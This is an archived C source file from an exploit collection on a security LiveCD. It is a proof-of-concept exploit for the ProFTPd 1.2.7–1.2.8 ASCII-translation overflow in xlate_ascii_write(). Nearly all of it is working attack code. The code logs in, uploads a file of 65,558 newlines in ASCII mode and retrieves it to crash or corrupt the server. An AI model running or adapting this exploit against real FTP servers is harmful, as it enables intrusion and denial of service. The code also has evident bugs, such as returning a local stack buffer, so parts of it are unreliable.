home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / proftpd / 10.14.pfpoc.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  121 lines

  1. /*
  2. *  -- ProFTPd [1.2.7-1.2.8] proof-of-concept --
  3. *  
  4. *  This code is quite ugly, don't have time cleaning it;
  5. *   
  6. *  description: iss gave a lil hint to me, so i found the vuln
  7. *  in src/data.c file, xlate_ascii_write()  function
  8. *  when the iss advisory came out.
  9. *  
  10. *  -netris at ok.kz
  11. *
  12. */
  13.  
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <sys/types.h>
  17. #include <sys/socket.h>
  18. #include <netinet/in.h>
  19. #include <arpa/inet.h>
  20.  
  21. int s1,s2;
  22. struct sockaddr_in a1,a2;
  23. char *senddata(int sock,char *data, int resp);
  24. void data_connect(char *addr,char *pasv, int bool);
  25. int data_port(char *pret, char *addr);
  26.  
  27. int main(int argc, char *argv[])
  28. {
  29.     char *ret;
  30.     char buf[100];
  31.     
  32.     if(argc!=4){
  33.         fprintf(stderr,"usage: %s login pass ip_addr\n",argv[0]);
  34.         exit(0);
  35.     }
  36.     
  37.     a1.sin_family = AF_INET;
  38.     a1.sin_port = htons(21);
  39.     a1.sin_addr.s_addr = inet_addr(argv[3]);
  40.     
  41.     s1 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  42.     connect(s1,(struct sockaddr*)&a1,sizeof(a1));
  43.     
  44.     senddata(s1,0,1);
  45.     sprintf(buf,"USER %s\n",argv[1]);
  46.     senddata(s1,buf,2);
  47.     sprintf(buf,"PASS %s\n",argv[2]);
  48.     senddata(s1,buf,2);
  49.     senddata(s1,"TYPE A\n",2);
  50.     
  51.     ret = senddata(s1,"PASV\n",2); /*STOR*/
  52.     data_connect(argv[3],ret,0);
  53.     ret = senddata(s1,"PASV\n",2); /*RETR*/
  54.     data_connect(argv[3],ret,1);
  55.     ret = senddata(s1,"PASV\n",2); /*RETR (needed sometimes)*/
  56.     data_connect(argv[3],ret,1);
  57.  
  58.     close(s1);
  59.     close(s2);
  60.     return 0;
  61. }
  62.  
  63. char *senddata(int sock,char *data, int resp) 
  64. {
  65.     char buf[66000];
  66.     int i;
  67.     if(resp>=2){
  68.          send(sock,data,strlen(data),0);
  69.         if(strlen(data)<512)
  70.             printf("%s\n",data);
  71.      }
  72.     if(resp<=2){
  73.           i=recv(sock,buf,sizeof(buf),0);
  74.         buf[i]=0;
  75.         if(strlen(buf)<512)
  76.             printf("%s",buf);
  77.     } 
  78.     return buf;
  79. }
  80.  
  81. int data_port(char *pasv, char *addr)
  82. {
  83.     int i=0,j,p1,p2,h1=1;
  84.     p1=p2=0;
  85.     for(j=0;j<4;j++)
  86.         for(i+=1;pasv[i]!=',';i++);
  87.     for(i+=1;pasv[i]!=',';i++)
  88.         p1=p1*10+pasv[i]-'0';
  89.     for(i+=1;pasv[i]!=')';i++)
  90.         p2=p2*10+pasv[i]-'0';
  91.     h1 += inet_addr(addr) & 0x000000ff;
  92.     j = p1*h1*2+p2;
  93.     printf("Data port: %d\n",j);
  94.     return j;
  95. }
  96.  
  97. void data_connect(char *addr, char *pasv, int bool)
  98. {
  99.     int port,i;    
  100.     static char buf[65559];
  101.     close(s2);
  102.     port = data_port(pasv,addr);
  103.     a2.sin_port = htons(port);
  104.     a2.sin_family = AF_INET;
  105.     a2.sin_addr.s_addr = inet_addr(addr);
  106.     s2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  107.     connect(s2,(struct sockaddr*)&a2,sizeof(a2));
  108.     if(!bool){
  109.         senddata(s1,"STOR kf\n",2);
  110.         for(i=0;i<65558;i++)buf[i]=0x0a;
  111.         buf[i]=0;
  112.         senddata(s2,buf,3);
  113.         close(s2);
  114.     }
  115.     else{
  116.         senddata(s1,"RETR kf\n",2);
  117.         senddata(s2,"\n",2);
  118.     }
  119.     senddata(s1,"\n",2);
  120. }
  121.